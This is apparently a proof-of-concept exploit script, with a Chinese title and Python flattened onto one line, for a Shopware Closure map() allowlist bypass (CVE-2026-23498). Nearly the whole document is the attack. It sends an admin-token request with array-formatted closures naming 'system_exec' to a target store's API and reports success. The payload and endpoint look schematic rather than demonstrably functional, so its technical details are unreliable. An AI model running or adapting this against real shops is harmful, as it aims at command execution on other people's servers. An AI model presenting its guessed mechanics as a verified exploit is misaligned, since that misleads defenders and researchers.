CVE-2026-23498: Shopware PHP Closure map()函数安全绕过漏洞

# CVE-2026-23498 PoC - Shopware PHP Closure map() bypass # Note: This requires high-privilege access to Shopware admin panel import requests import json TARGET_URL = "https://vulnerable-shopware-site.com" ADMIN_TOKEN = "your_admin_token_here" def exploit_cve_2026_23498(): """ Exploitation scenario for CVE-2026-23498 This PoC demonstrates the Closure map() allowlist bypass """ # Step 1: Authenticate with high-privilege account session = requests.Session() auth_headers = { "Authorization": f"Bearer {ADMIN_TOKEN}", "Content-Type": "application/json" } # Step 2: Craft malicious Closure array that bypasses allowlist check # The vulnerability allows array-formatted PHP Closures to bypass validation malicious_payload = { "operation": "map", "closures": [ # Normal closure (would be blocked by allowlist) {"type": "closure", "callback": "system_exec"}, # Array-formatted closure (bypasses allowlist check) {"type": "array", "data": ["closure", "system_exec"]} ], "target": "admin_function" } # Step 3: Send exploit request to vulnerable endpoint exploit_url = f"{TARGET_URL}/api/_action/map" response = session.post(exploit_url, headers=auth_headers, json=malicious_payload) # Step 4: Verify exploitation success if response.status_code == 200: result = response.json() if result.get("success"): print("[+] CVE-2026-23498 exploited successfully!") print(f"[+] Response: {json.dumps(result, indent=2)}") return True print("[-] Exploitation failed") return False if __name__ == "__main__": print("CVE-2026-23498 PoC - Shopware Closure map() bypass") print("Target: Shopware < 6.7.6.1") print("Note: Requires high-privilege authentication") exploit_cve_2026_23498()